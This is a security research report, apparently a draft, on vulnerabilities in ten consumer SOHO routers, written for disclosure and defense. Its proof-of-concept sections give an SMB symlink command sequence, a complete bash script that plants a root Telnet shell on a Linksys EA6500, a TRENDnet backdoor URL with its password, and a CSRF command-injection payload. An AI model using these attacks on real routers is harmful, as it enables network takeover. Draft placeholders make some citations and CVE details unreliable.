Technical Report

SOHO Network Equipment

...and the implications of a rich service set

Independent Security Evaluators | www.securityevaluators.com

July 26, 2013

SOHO NETWORKING EQUIPMENT

Abstract

do.

Introduction

Small office/home office (SOHO) routers are a staple networking appliance for millions of consumers. They are often the single point of ingress and egress from a SOHO network, manage domain name resolution, firewall protections, dynamic addressing, wireless connectivity, and of course, routing. Their heavy use in the consumer market and targeted demographic of non-computer savvy users has not surprisingly led to very easy-to-use, nearly turnkey solutions. As they've developed over the past decade, new and more features have been added to these devices that make each router one step above its previous iteration, and the competition – or so one would believe.

Through our research, we discovered 55 previously unpublished security vulnerabilities in SOHO devices that demonstrate how the rich service and feature sets (e.g., SMB, NetBIOS, HTTP(S), FTP, UPnP, Telnet, etc.) implemented in these routers come at a significant cost to security. The incorporation of additional services within these SOHO routers expose attack surfaces that a malicious adversary can leverage to compromise the router core, and gain a foothold in the victim network.

Once compromised, any router—SOHO or otherwise—may be used by an adversary to secure a man-in-the-middle position for launching more sophisticated attacks against all users in the router's domain. This includes sniffing and rerouting all network traffic, poisoning DNS resolvers, performing denial of service attacks, or impersonating servers. Worse still, is that these routers are also firewalls, and often represent the first (and last) line of defense for protecting the local network. Once compromised, the adversary has unfettered access to exploit the vulnerabilities of local area hosts that would be otherwise unreachable if the router were enforcing firewall rules as intended.

Many SOHO routers evaluated in our study incorporate network services and functionality unrelated to routing and switching network traffic. As an example, every router contained at least one service for supporting some form of Network Attached Storage (NAS). These services included FTP, SMB, NetBIOS, UPnP Media, and HTTP, all of which introduce additional, exploitable attack surfaces.

In addition to NAS service types, these SOHO routers utilize other miscellaneous network services that are used by the router to perform automatic system optimization and configuration. As an example, the TRENDnet TEW-812DRU and ASUS RT-AC66U routers contained a service (ACSD) that is used to determine the best Wi-Fi channel for the routers wireless radio to broadcast on. We found vulnerabilities in the ACSD service that ultimately lead to full router compromise.

Vulnerabilities were also found in the routers' multitude of configuration interfaces. While a graphical, web-based interface is the norm (and for the purposes of the average consumer, appropriate), several also provided additional mechanisms for configuration through Telnet and the upload of preset configuration files – two features which are unlikely to be used by the vast majority of consumers, but both of which add additional attack surfaces that could be used to exploit the routers.

In this paper, we identify universal security issues plaguing the SOHO router industry, and call for better practices in their development and deployment. We catalogue and discuss the extraneous services available and enabled by default on these devices, and the vulnerabilities that afflict them. We present several full proof-of-concept attacks to compromise these routers, and present evidence that even SOHO routers that have been hardened to the most secure state possible are still susceptible to some of these attacks.

Important Notes

Disclosure: All router manufacturers have been notified of the vulnerabilities published in this paper, and have been given adequate time to address the issues. Unless explicitly stated, the vulnerabilities discussed in this publication were discovered and tested on official router firmware made available between February 1 and April 1, 2013.

Disclaimer: ISE did not exhaustively assess these routers, and in no way asserts that other product vulnerabilities do not exist. Our research was directed at assessing the ubiquity of these vulnerabilities, and not the number of issues present in any specific router model, or through any particular service or form of attack.

Related Work

Security research of SOHO routers has targeted numerous aspects of these devices' use, implementation, and deployment. Wireless encryption and authentication protocols such as WEP [1] [2], WPA [3], and WPS [4], have all been shown to have weaknesses. SOHO routers in their default state are well-known to be insecure [5], and default to weak security settings. In some cases, these weak security settings have been shown to be permanent and not configurable. Other research has shown that update and patching mechanisms for SOHO routers are convoluted and difficult for consumers, ultimately resulting in persistent vulnerable systems. Through all of this, it can be seen that SOHO routers have been long plagued by ineffective or incomplete design and implementation of security features. Our research surrounds the expanded attack surface presented by additional features, rather than these known issues, but relies on these earlier results to justify some of our assumptions. Furthermore, we've found that insecure default settings and persistent vulnerabilities are not only present as part of the web-based router configuration, but heavily afflict the supplemental features as well.

The tribulations of an expanded attack surface, i.e., an expanded feature set, have been shown to affect a multitude of software and hardware products. The rich feature sets of mobile phones have been shown to expand attack surfaces to include web browsing, SMS [6], NFC [7], Bluetooth [8] [9], Wi-Fi, and more [10]. Web browsers [11], document editing software, and online gaming [12] have also been shown to be repeatedly vulnerable as additional feature sets are incorporated. Our research demonstrates this vulnerability through expanded attack surface affects SOHO routers as well, and here we've cataloged all such services for ten popular routers, and demonstrate through proof-of-concept how these features can be exploited for fully compromise the router.

Some work has been done to study the overall security issues faced by consumers of SOHO routers. Karamanos published a 2010 study [13] evaluating security trends in home routers, and providing an overview of attack vectors. Researchers at Independent Security Evaluators published a study [14] demonstrating the ubiquity of router vulnerabilities, showing that a large number of consumer routers are vulnerable to Cross-Site Request Forgery attacks that can result in full router compromise. [Need more overall/ubiquity]

The impact of SOHO router compromise has also been studied to show the damage that can be done to the end-users, as well as the Internet at large. Stamm et al. [15] showed how attacks against home routers can manipulate home network DNS settings, and the ramifications there of. In another report, Myers and Stamm [16] demonstrate how a compromised home router can be used to inject malware or malicious scripts in to legitimate web traffic. In 2009, Celeda et al. discovered and performed an analysis of the Chuck Norris botnet [17], which affected vulnerable DSL modems and home routers. A similar botnet affecting ADSL modems known as Psyb0t was also discovered in 2009 [18].

On a discrete, case-by-case basis, vulnerabilities have been discovered an disclosed for individual SOHO routers and router-based services. In 2012, Cutlip demonstrated a SQL injection vulnerability in the router's DLNA media server which triggered a buffer overflow and lead to the router's compromise [19]. Researchers at DefenseCode released an advisory [20] describing a remote, unauthenticated format string vulnerability in Broadcom UPnP software that escalated to root shell access. Various UPnP exploits have also been found in D-Link [21] and Zoom [22] routers, leading to remote code execution and command injection. Additional UPnP service vulnerabilities were found by Moore in 2013 [23]. Also in 2013, the AiCloud service on ASUS routers was found to contain multiple vulnerabilities that permit remote exploitation [24]. Backdoors have been discovered in these routers as well [25] [26] [27]. In our research we demonstrate entirely new attacks against a separate set of services, however these previous findings support our conclusion that extraneous feature sets heavily increase the attack surfaces of SOHO routers.

Universal Issues Realized

Analysis of extraneous service vulnerabilities inherent in the selected routers reveals that these security flaws originate from four primary categories: the misconfiguration of network services, the assumption of security on the LAN, insecure default configurations, and poor security design and implementation.

Misconfiguration of services. This category is characterized by network services that lack configuration options or utilize unnecessarily lenient permissions. The lack of configuration options could permit network services to operate in unintended ways, such as SMB allowing symbolic links to traverse into the router root directory. Unnecessarily lenient user permissions, such as services running as root or with full read/write access to unrelated system directories could allow an attacker to leverage issues with configuration or other vulnerabilities more easily. Of the routers ISE investigated, each had poor or absent control over user or service permissions and lacked the user configurable options to correct for this. While security violations from the misconfiguration of extraneous services may be in some cases preventable by requiring authentication, the default state of the routers examined by ISE not only provide unauthenticated access to these services, but often undermine router security options entirely by utilizing inconsistent access permissions across network services as evidenced in the case of the ASUS routers. Both the RT-AC66U and RT-N56U required authentication for its FTP server, but provided unauthenticated access via the SMB server.

Assumption of security on the (W)LAN. During our analysis of SOHO routers, we found that all of the routers studied don't utilize (or even attempt to utilize) a secure connection for sensitive data communications between the router and network clients. All of the routers' web-based configuration portals use password-based authentication over HTTP – a method that is well known to be insecure without SSL/TLS encryption [28]. Only 40% of the routers tested provided HTTPS capabilities, and among these only 20% had HTTPS running by default. Additionally, the routers all provided a range of services that lack secure channels or authentication mechanisms, such as FTP, Telnet, and SMB. As evidenced

by this analysis, it is apparent that the high-end consumer routers are designed under the assumption that communications and machines on the (W)LAN are free of potential threats.

It is unreasonable to assume malicious actors will not have access to the local network, particularly when SOHO routers still actively support vulnerable technologies such as WEP [1], WPS [4], and WPA [3]. Even WPA2, the most effective Wi-Fi encryption standard to date, is susceptible to attack, albeit at a substantially larger cost to the adversary than a network utilizing WEP.

Furthermore, the use of SOHO routers are often intended explicitly for guest access, in coffee shops, hotels, shopping malls, consumers' homes, and even the workplace. Some high-end routers provide for additional, separate wireless guest networks. While this feature provides security through network segmentation, it too can also be misconfigured to allow a malicious actor access to network services that can jeopardize the integrity of the router.

Relying upon this assumption of security on the (W)LAN, manufacturers are prioritizing ease–of-use and obtaining the highest variety of features possible instead of finding equilibrium between security, ease-of-use, and functionality (a.k.a., the S.F.E. Triangle).

Insecure by default. This inclusion of features and the plug-and-play mindset wielded by manufacturers introduces additional security concerns since the number of potentially vulnerable services is increased. In their default configuration, all of the routers ISE examined were found to be insecure by default, typically because of unsecured features, failure to abide by the principle of least privilege, supporting outdated technologies, disabled security protections (e.g., advanced firewall), or weak or publically known service credentials.

Poor security design and implementation. Routers were generally plagued by design and implementation issues, most notably evidenced in the lack of input validation. The majority of the routers were vulnerable to web based attacks such as Cross-Site Scripting, Cross-Site Request Forgery (CSRF), Directory Traversal, and Command Injection, which in turn leveraged vulnerabilities in services such as FTP, allowing an attacker to traverse any system directory. Rampant Cross-Site Request Forgery vulnerabilities exacerbate the risk associated with each additional service that's employed on a SOHO router. The mere existence of these services, even if disabled, creates a wider attack surface on the devices as attackers can enable them through CSRF attacks or by other means. Lesser known network services were also found to generally have poor input security and were vulnerable to buffer overflow vulnerabilities. These configuration and optimization services with serious vulnerabilities (e.g., ACSD) were found running and could not be deactivated by an end-user, preventing adequate security hardening of the devices.

Setup

Our assessment consisted entirely of activities performed through the routers' network accessible ports and services. That is, we did not physically tamper with, or "open up" the routers, and all debugging and testing was performed over the network, once exploits were leveraged.

For this study, we considered a router *hardened* if after installation, the administrator credentials were changed to require a secure password – which we assume is not initially known to the adversary— and if the wireless network was configured to utilize WPA2 encryption. All router firmware was updated to the latest available at the time. We then

attached an NTFS-formatted USB storage device to each router. Once attached, a number of additional services are enabled automatically.

We first assessed these services in their default state, and again after taking the most stringent security precautions possible, up to disabling the service entirely. It should be noted that many of the services in question are enabled out-of-the-box, had no configuration options available to the administrator, and even when these services were configured to be in their most secure state, they were still exploitable. Where applicable we note these configurations.

Service Classification

Once a router was hardened, and USB storage attached, we performed a TCP and UDP port scan and service identification using Nmap [29] of the devices from the WLAN. For the routers where we had obtained a root shell, we reviewed the output of `netstat` to confirm open ports. The results demonstrate a widely permissive and open environment for a local adversary to take advantage. The table in Table 1 summarizes all open ports.

On average, a hardened router with attached USB storage has 22 ports open by default. The router with the most available services was the D-LINK DIR-865L, which by default served HTTPD, SMBD, Proxyd, Dnsmasq, Stunnel, HostAPD, FakeDNS, ARPmonitor, mDNSResponderP, NMDB, Nameresolv, UDHCPD, JCPD, and Midproxy.

Of these non-routing services, some are arguably required for SOHO routers. As these are consumer devices, and often found in the home or office setting where a domain name server (DNS) does not likely exist, DNS, and HTTPS for an easy-to-use and secure graphical configuration interface are nearly necessities. Still, we found the use of HTTPS to be atypical across the routers we assessed, and instead found that insecure HTTP was the predominant service provided for configuration. In today's market, it does not seem necessary, and perhaps even inappropriate, to default to router configuration over an insecure channel. 40 percent of the routers we evaluated support the HTTPS protocol, but most router manufactures chose not to enable it in an out-of-the-box configuration presumably due to the security warning produced by a self-signed HTTPS certificate. During initial router configuration and setup, the SOHO router should generate a HTTPS certificate and instruct the administrator to store the generated certificate in their browser's trusted certificate authority list and also inform them to do the same with any other computer that will be used to manage the router.

Universal plug and play (UPnP) is a service that simplifies the connectivity of network devices, and is largely targeted for use by the consumer of SOHO networking devices. As its name indicates, its usefulness as a feature for ease-of-use is arguably worth the risk of the security issues it exposes. Still, vulnerabilities have been shown to exist in these services [20] [21] [22] [23], and every router ISE examined had the UPnP protocol enabled by default.

Router	FTP	Telnet	DNS	HTTP	SMB	HTTPS	UPnP	Total Ports
Linksys EA6500			y	y	y	Y*	y	30
Netgear WNDR4700	y	y	y	y	y	y	y	29
ASUS RT-AC66U			y	y	y		y	31
ASUS RT-N56U			y	y	y		y	23
TP LINK TL-WDR4300			y	y	y		y	17
TP LINK TL-1043ND	y		y	y	y		y	15
Trendnet TEW-812DRU			y	y	y		y	22
Netgear WNR3500		y	y	y	y		y	15
D-LINK DIR-865L		y	y	y	y	y	y	32
Belkin N900			y	y	y		y	10

Table 1. Network Port Summary

Once USB storage is attached, it is arguable that some network service (e.g., UPnP, SMB, FTP, HTTP, etc.) should be made available for accessing the network-attached storage (NAS). Such a service is required for the NAS to function, but it is not necessary to automatically enable multiple, insecure services such as SMB, FTP, and HTTP, in addition to this, as was the case with the Netgear WNDR4700, nor is it necessary to default to the most open security environment possible for these services, as was the case with all routers tested.

The existence of Telnet on these devices has little practical consumer purpose. The fact that the Telnet protocol is enabled by default for 20 percent and supported by 40 percent of the routers assessed is egregious; the protocol should be replaced with a safer alternative such as SSH. In a similar vein, the inclusion of FTP is unlikely useful to the vast majority of consumers, and those requiring it are likely to favor superior protocols such as SFTP, or SCP, neither of which are offered by any of the routers assessed.

Finally, a slew of other services accompany each of these routers in their default state, such as the ACSD WLAN optimization service, HTTP servers running on alternative ports, NetBIOS, and the WPS Helper service.

Vulnerability Classification

Through successful exploit, we obtained administrative shell or web portal access on all routers examined while in their hardened state, after the USB storage was attached. Access was gained by exploiting combinations of the following vulnerabilities, which we later discuss in several proof-of-concept examples. Disregarding race conditions as a typical vulnerability, the following classifications of vulnerabilities were found to be inherent in multiple routers and often across router models from different vendors, representing common issues across the SOHO router industry at large.

Buffer overflows in network services. SOHO routers often utilize software packages for various network features such as WPS monitoring, FTP servers, and wireless configuration. Through dynamic analysis of select software packages, we found that several are vulnerable to multiple buffer overflow attacks. One example is the Broadcom ACSD network service used by the ASUS RT-AC66U and TRENDnet TEW-812DRU routers. This service is used to scan for and select low interference Wi-Fi channels. The ACSD service on these routers is susceptible to multiple remote, unauthenticated buffer overflow attacks through a lack of input validation of the service's command arguments. Since these software packages typically run with root level privileges, as was the case with ACSD, a successful buffer overflow exploit provided us with full administrative control over the router.

Due to the MIPS architecture and calling convention, a technique known as Return Oriented Programming (ROP) [30] was required to exploit these buffer overflows. ROP alters the programs execution flow and redirects it to the attacker's injected code by utilizing small segments of the program's existing code, known as ROP gadgets [31]. We leveraged ROP to successfully exploit the buffer overflow vulnerabilities in the Broadcom ACSD network service. The attack and payload for compromising this router can be found in our vulnerability database.

Other buffer overflows were identified in our research as well, but left unexplored through full exploitation. Of the software packages we analyzed, buffer overflows were discovered in the proprietary TRENDnet KC_FTP and KC_SMB servers. Overflows were also discovered in the RC network configuration binary coded by Broadcom. While we didn't complete an investigation of each buffer overflow we found, it is likely that some of them would result in similar exploits leading to full administrative control, leveraging similar ROP techniques employed in our attacks on the ACSD service.

The implications of buffer overflow vulnerabilities are exacerbated by the fact that most software packages installed on SOHO routers are running in the context of a privileged user. Successful exploitation of these services executes injected code with super user permissions and grants an attacker the highest level of control over the affected router. If the vulnerable software were running without super user permissions, exploitation of the software would still grant an attacker system level access, requiring the attacker to find other system vulnerabilities in order to escalate their permission from an unprivileged to a privileged user. In the case of routers we analyzed, 80 percent of them contained improper system permissions on files and directories that would allow an attacker to alter the system in order to escalate privileges.

Unauthenticated read/write access to storage. We found that, by default, every router provided the most permissive settings possible for all attached storage. That is, the moment storage was attached, some service was started that granted full, unauthenticated read/write access to the entire storage device to anyone on the (W)LAN. Left unconfigured, a local adversary would have full access to the attached storage – a vulnerability on its own – but combined with other vulnerabilities we found the adversary would have immediate, full control over the router.

Secure by default is a security principle that seems to have been violated almost as tradition in SOHO routers. At a minimum, the routers that do provide configurable NAS should present the administrator with a wizard at first run to properly inform the administrator of the risks, as well as provide the options for creating a hardened environment. Average consumers are not likely to understand the risk, or even the possibility that connecting a USB stick to their router would instantly open up vulnerabilities that lead to full router compromise.

In a vacuum, default unauthenticated read/write access to attached storage doesn't set off many high-severity alarms, but in the case of the SOHO routers we assessed they demonstrate the quintessential need for security by default.

Permissive/improper file permissions. We found that by leveraging the services and features available to a general user, many of the routers assessed in this study permit read and write access to the router's root file system. Write access to the root file system allows an attacker to overwrite system files to alter the intended functionality of router software, which ultimately grants an attacker full control over the system. Such was the case with the Netgear WNR3500, which grants world-writeable access to /tmp/samba/private/smb.conf, the Samba service configuration file. Given this permission, we added the SMB configuration option "root preexec" that runs arbitrary commands with root permissions when the configuration file is loaded. This occurs every time a new SMB connection is established. By modifying this configuration file, and initiating a new Samba connection, we took control of the router.

While the ability to read data doesn't carry the same consequences as write, it can be equally detrimental to the integrity of the router. An attacker with read permission can gain access to credentials for one of the routers many configuration interfaces by reading a password or cracking a password hash found in a service's account file and assume full administrative control over the system. For example, the D-LINK DIR-865L allows read access of the file /var/passwd, and the ASUS RT-N56U provides world-readable access to /tmp/etc/smb.conf.

Other file permission issues we encountered were world-writable permissions on the directories containing read-only configuration files, without the necessary sticky bit that prevents files from being renamed or deleted by anyone except the file's owner even when stored in a world-writable directory. An example of this is the /tmp/etc directory of the ASUS RT-N56U and RT-AC66U routers we examined. The files inside this directory could not be edited, but the entire directory could be downloaded, renamed on the server, edited locally, and uploaded to replace the original folder.

Alone, these permissive settings may not strike a developer as a security vulnerability, but they violate the security principle of least privilege. By leveraging misconfigurations and vulnerabilities in extraneous, unprivileged services, such as a guest user on a Samba share, or a buffer overflow in an FTP server, an attacker can access these files. Instead, they should be restricted to only the necessary system users.

Service misconfiguration. The Samba servers running on many of the routers are configured to allow the creation of symbolic links that point to arbitrary destinations. This allows an attacker to break out of one SMB share and access another, or traverse outside of the network attached storage and access the router's root file system. Using this capability, file system permitting, an attacker can transfer files to and from arbitrary locations in the router's file system. Symlink Traversal attacks [32] succeed due to an insecure default configuration option (wide links=yes) in the SAMBA smb.conf configuration file.

All routers in this study, except the TRENDnet TEW-812DRU, permitted the creation and traversal of symbolic links over SMB. In the case of the TRENDnet TEW-812DRU, symbolic links could not be created or followed because UNIX file extensions were not supported. The following simple commands, as demonstrated below to retrieve the D-LINK DIR-865L passwd file, can then be adapted to retrieve files on the root file system for any router with improperly set file permissions.

```
> smbclient "//192.168.1.1/<SHARE> –N <<\EOF
> symlink /var tmp
> cd tmp
> prompt off
> get passwd
```

Sadly, Samba cannot be configured to prevent the creation of symbolic links in any of the cases we saw, meaning there is nothing the administrator can do to disable this feature, short of rooting and modifying the routers' system files themselves. At the very least, the routers should provide a mechanism for configuring this service.

Clear text storage of sensitive data. Many of the routers' sensitive configuration files contained all the information necessary to gain administrative access to the device. For example, the D-Link router permitted any user to download and view the passwd file, which contained cleartext passwords. Another example is the NVRAM device in the TP-Link WDR4300, which was susceptible to having its content downloaded in order to extract username and password pairs. In most cases, this could have been avoided using salted password hashes, key derivation functions, or some form of encryption if password recovery was necessary.

Web attacks. All of the routers assessed have a graphical web interface for administrative configuration, and some non-administrative features. Even though providing this interface is acceptable, and likely necessary give the average consumers' abilities, the web interfaces of the routers we assessed were found to be extensively vulnerable. We identified vulnerabilities in these interfaces that allow an attacker to execute arbitrary code, change configuration options, grant themselves root permissions over network services, and traverse the router file system.

Cross-Site Request Forgery (CSRF) is an attack that forces an unsuspecting authenticated victim to execute web commands that perform unwanted actions on a web application. The majority of routers we evaluated contained several

Cross-Site Request Forgery vulnerabilities. We were able to leverage these vulnerabilities add administrative user accounts, change passwords, or enable various management services.

Directory Traversal is a form of attack where an attacker can access files and directories outside of the current folder by altering a program variable that specifies the current path to a file or directory. The D-LINK DIR-865L in particular is susceptible to a web based directory traversal attack.

Command Injection is a form of attack where operating system specific commands are injected into a vulnerable application for execution. Due to a lack of input sanitization, the TRENDnet TEW-812DRU allowed us to inject operating system commands into the vulnerable web application, which ultimately lead to its compromise.

In the case of the D-LINK DIR-865L, one of the PHP files on the embedded web server, router_info.xml, is vulnerable to a PHP file inclusion (a form of Directory Traversal) attack as it builds the path to another PHP script using string concatenation before execution. A controllable HTTP GET parameter passed to the script is incorporated as one component of the resulting file path, without any sanitization or validation, and ultimately leads to arbitrary code execution on the affected router. While credentials are necessary to load this page, the web administrator password is easily accessible through the SMB traversal vulnerability and incorrect permissions on the /var/passwd file – the further privilege escalation takes the adversary from web administrator to having a super user shell.

The Netgear WNDR4700 administration portal contains a particular page that when visited by any user, authenticated or not, causes the router to no longer require a password to access the web administration portal. The page is located at `http://<router_ip>/apply.cgi?/hdd_usr_setup.htm`. Once accessed, all administrative functionality is available to any user on the (W)LAN without credentials. Furthermore, once enacted, this vulnerability will persist through router reboots, and is only rectified through a factory reset.

Race conditions. Race Conditions are a result of external events or variables that affect the behavior of a software program depending on the order in which they occur or are introduced. Depending on the nature of the race condition, it can present a vulnerability. In a practical example from our study, when components of the D-LINK DIR-865L's web server need to execute shell commands, it writes a series of command instructions to a temporary file, labeled ntp_run.sh, and then execute that file. An attacker has the opportunity to overwrite this file in between the server writing it and executing it, and by doing so, the attacker controlled file will run with root privileges. Other routers such as the TP-Link TL-1043ND contained similar situations where an attacker could abuse race conditions to trick the router into executing code of the attackers choosing.

Backdoors. Some of the manufacturers of routers we assessed have intentionally implemented methods of bypassing authentication to gain administrative access to routers, a.k.a. backdoors. While the reasons for manufacturers including backdoor access in production routers is unclear, we confirmed the existence of several previously discovered backdoors, and have found some new ones. These backdoors allow an attacker to gain root level privileges, and for the vast majority of router owners they offer no desirable features.

The following backdoors were discovered through static analysis of source code. Requesting a web page named backdoor with a HTML parameter of password and a value of j78G-DFdg_24Mhw3 will enable an unauthenticated Telnet daemon on the TRENDnet routers listed below.

Example: `http://x.x.x.x/backdoor?password=j78G-DFdg_24Mhw3`

- TRENDnet TEW-812DRU (CVE-2013-3366).
- TRENDnet TEW-691GR (CVE-2013-3367).
- TRENDnet TEW-692GR (CVE-2013-3367).

Other security researchers have previously disclosed backdoors in routers from Netgear, TP-LINK, and Linksys, which enable unauthenticated administration services such as Telnet.

- Netgear Telnet-enable [25].
- TP-LINK TFTP Backdoor [26].
- Linksys WUMC710 [27].

Interesting Note: The backdoors we discovered in the TRENDnet routers are similar to the previously disclosed backdoor in the Linksys WUMC710; they are all triggered by the same web request and require the same password. However, the backdoor in the TRENDnet TEW-691GR and TEW-692GR appear to be from a TRENDnet in-house code-base[ref], while the backdoor in the TEW-812DRU appears to have been coded by Broadcom [ref]. Because this backdoor exists across multiple manufacturers and appears to have multiple sources even from within the same manufacturer, we speculate that this backdoor's presence is an artifact of using sample code, or example code provided by a chipset manufacture, where the authors (maybe carelessly) chose to copy it. This repeated reuse of obviously vulnerable source code demonstrates a lack of care in security review, as well it raises the question as to what other code bases incorporate propagated malicious or vulnerable code, and provides an interesting area of study for future work.

The table in Table 2 shows a list of routers evaluated in our study with the specific vulnerabilities that were leveraged to gain root access to the device. These vulnerabilities were found from a hardened configuration, and after USB storage was attached to the device. This chart is not inclusive of all discovered vulnerabilities – only vulnerabilities that were

Router	Buffer Overflow	SMB Symlink	Race Condition	Web Attacks	Backdoor	Improper File Permissions
Linksys EA6500		X		X		X
Netgear WNDR4700		X			X	X
ASUS RT-AC66U	X	X				X
ASUS RT-N56U		X				X
TP LINK TL-WDR4300		X		X		X
TP LINK TL-1043ND		X	X	X		
TRENDnet TEW-812DRU	X			X	X[1]	
Netgear WNR3500		X			X	X
D-LINK DIR-865L		X	X	X	X	X
Belkin N900		X				X

Table 2. Vulnerability Chart

used by ISE to gain root access. The proof of concept exploit code in the technical details section leverages some or all of these vulnerabilities.

Proof of Concept Attacks

Here we present several proof of concept attacks that demonstrate how these routers can be exploited using combinations of the above vulnerabilities. We assume the adversary is any user on the (W)LAN who can contact the router, and that the router is in its hardened state, with USB storage attached. A script to demonstrate each proof of concept can be found in the appendix, and additional attack descriptions and proof of concept attack scripts can be found on our website.

D-Link DIR-865L. In the case of the D-Link DIR-865L, we demonstrate how improper file permissions, unsecured sensitive data, unauthenticated access to SMB, and a misconfigured SMB service can allow an attacker to recover the device's administrative password, and thereby gain administrative control of the device.

From its hardened state, with USB storage attached, the DIR-865L runs a Samba service on ports TCP/445 , TCP/139 and UDP/137.

1. By default, the SMB service does not require authentication, and so an attacker can immediately log in without credentials (no CVE cataloged).
2. Due to a misconfiguration in the SMB service, symbolic links can be created to locations outside of the Samba share (CVE-2013-4855). The attacker can create a symbolic link to `/`, the router's file system root.
3. The DIR-865L allows world-readable access to several system folders (CVE pending), including `/var/`, which contains the `passwd` file. Through a symbolic link traversal from 2, an attacker can obtain this file.
4. The DIR-865L `passwd` file contains a cleartext administrator password (CVE pending). Once the attacker obtains this from 3, he can log in to the web interface as an administrator.
5. The attacker logs in using the credentials obtained in 4.
6. The web interface of the DIR-865L contains a PHP File Inclusion vulnerability (CVE-2013-4857) in the `router_info.xml` file. The file takes the argument 'section' that is intended for including other XML files. An attacker can upload a file containing chosen PHP code to the Samba share (e.g., `/tmp/storage/<sharename>/test.xml`), and then request `router_info.xml` while setting the section variable to '`../../tmp/storage/<sharename>/<uploaded_file>`' which is automatically concatenated with the extension '.xml' and processed.
7. When the DIR-865L receives certain configuration changes through the web interface, it creates shell scripts in the directory `/var/run/` and then executes them as a separate step, creating a race condition (no CVE cataloged, not intrinsically a vulnerability). For instance, a command can be issued from the web interface to restart NTP, which creates the script `/var/run/ntp_run.sh`, and then subsequently executes the script. An attacker can leverage the PHP file inclusion vulnerability from 6 to repeatedly execute PHP code to overwrite `/var/run/ntp_run.sh` with a different script, while at the same time restarting the NTP service in the hopes of exploiting the race condition, and executing the attacker written `ntp_run.sh`, rather than the official version.
8. Eventually, winning the race condition from 7 happens, and an unauthenticated Telnet service with root privileges listens on port 23. The attacker can access this service to obtain a root shell.

A full attack script can be found in our vulnerability database.

Linksys EA6500. In the case of the Linksys EA6500, we demonstrate how improper file permissions, unauthenticated access to SMB, and a misconfigured SMB can allow an attacker to execute arbitrary commands on the router, thereby granting the attacker a root shell.

From its hardened state, with USB storage attached, the EA6500 runs a Samba service on ports TCP/445, TCP/139 and UDP/137, UDP/138.

1. By default, the SMB service does not require authentication, and so an attacker can immediately log in without credentials (no CVE cataloged).
2. Due to a misconfiguration in the SMB service, symbolic links can be created to locations outside of the Samba share (CVE-2013-4658) The attacker can create a symbolic link to `/`, the router's file system root.
3. The EA6500 allows universal read/write access to its `/tmp/` directory (CVE X), where it stores scripts that run according to a cron schedule. Once per minute, the EA6500 runs the scripts found in the folder `/tmp/cron/cron.everyminute/` as root. Through the symbolic link traversal from 2, the attacker can put a `utelnetd` binary in `/tmp/`, and a script that runs utelnetd in `/tmp/cron/cron.everyminute/`.
4. Eventually, the script from 3 is activated, and an unauthenticated Telnet service with root privileges listens on port 23. The attacker can access this service to obtain a root shell.

A full script for launching this attack against a hardened EA6500 with USB attached storage can be found in Figure 1.

```
#!/bin/bash
cat > activate.sh <<\EOF
#!/bin/sh
/tmp/utelnetd -l /bin/sh
EOF
smbclient '//192.168.1.1/sda1' -N <<\EOF
posix
symlink / root
cd root/tmp/
put utelnetd
chmod 755 utelnetd
cd cron/
rename cron.everyminute cron.old
mkdir cron.everyminute
cd cron.everyminute
put activate.sh
chmod 755 activate.sh
exit
EOF
rm -rf activate.sh
echo 'Waiting for 60 seconds.....\n'
sleep 60
exec telnet 192.168.1.1
```

Figure 1 – Linksys EA6500 Attack Script.

ASUS RT-AC66U. For the ASUS RT-AC66U, we demonstrate how insufficient bounds checking and the inability to disable network services allowed us to execute arbitrary code with the same permissions as the vulnerable application.

From its hardened state, with or without USB storage attached, the RT-AC66U runs an ACSD system configuration service on port TCP/5916.

1. The ACSD service runs by default, and cannot be disabled (no CVE cataloged).
2. The ACSD service is vulnerable to multiple buffer overflow attacks during the command processing routine (CVE-2013-4659). An attacker can connect to the ACSD service and submit a command string that is larger than the program's fixed length buffer, corrupt the call stack, and change the execution flow of the program by overwriting adjacent memory. The result is the execution of attacker-controlled code.

For the attack to succeed we utilize return oriented programming (ROP) to avoid stack randomization and MIPS system cache incoherency. In order to create a coherent data cache, our payload utilizes a call to a blocking function, sleep(), which effectively pauses program execution and gives CPU cycles to other executing system processes. When the sleep() function returns, the MIPS CPU flushes the data cache and continues program execution. Finally, we direct the programs execution to our custom shellcode that starts an unauthenticated Telnet server by calling the system() function located in the standard C library.

Please refer to our vulnerability database for the python proof-of-concept attack script and commented disassembly of the custom MIPS shellcode used in this exploit.

TRENDnet TEW-812DRU. For the TRENDnet TEW-812DRU, we demonstrate how vulnerabilities in web applications could lead to a direct compromise of the underlying operating system. For this attack, we demonstrate how insufficient input sanitization and lack of CSRF protection could allow an attacker to execute arbitrary system commands with the same permissions as the vulnerable web application.

From its hardened state, with or without USB storage attached, the TRENDnet TEW-812DRU contains a web server on port TCP/80 that serves a web application for configuration purposes.

1. The web server running on TCP/80 runs by default and cannot be disabled by an administrator (no CVE cataloged).
2. The TEW-812DRU web interface is susceptible to CSRF attacks (CVE-X). A remote attacker can construct a CSRF exploit that causes chosen actions to be performed on behalf of the administrator.
3. The web application served by the TEW-812DRU's web server is vulnerable to multiple command injection attacks (CVE-2013-3365) during the process of performing configuration updates. An attacker with access to these pages can inject commands into the pages shown in Table 3, which are executed when the input is sent to the server.

Page	Injection Points
/internet/ipv6.asp	wan network prefix
/adm/management.asp	remote port
/internet/wan.asp	pptp username pptp password ip gateway l2tp username l2tp password
/adm/time.asp	NtpDstStart NtpDstEnd NtpDstOffset
/adm/management.asp	device url

Table 3. Injection Points

4. Leveraging the CSRF vulnerability in 2, and the command injection vulnerability in 3, an attacker can execute arbitrary commands on the TEW-812DRU. For instance, an attacker can submit the following HTML as part of a CSRF attack:

```
<input type="hidden" name="NtpDstEnd" value="
`count=0;
 while [ $count -le 25 ];
   do iptables -I INPUT 1 -p tcp --dport 23 -j ACCEPT;
   (( count++ ));
   done;`
">
```

5. After the attack in 4, the TEW-812DRU will have started the router's Telnet daemon and made it accessible from the WAN on TCP/23. The attacker can now access this port to obtain a super user system shell.

A full attack script can be found in our vulnerability database.

Additional hardening

Some of the proof-of-concept attacks given above require Samba to be left in its default configuration once USB storage is attached. An astute administrator will find it possible to set up multiple user accounts, each with different levels of access (read or read-write), and for some routers even restrict user access to specified subdirectories on the attached storage. Even if the Samba service configuration has been hardened to provide only password-protected access to a restricted set of folders, it only adds a marginal level of security.

Assume an administrator has added username and password restrictions to the Samba service, with specific Samba shares. Our first observation is that any user with an account can immediately escalate privileges using the attacks above to gain super user control over the router. The attacks employed by a legitimate user with write access to a restricted share are exactly the same as above, except their own credentials must be supplied. While the level of trust is certainly different between a user who has been granted credentials, and a guest or unknown party on the network,

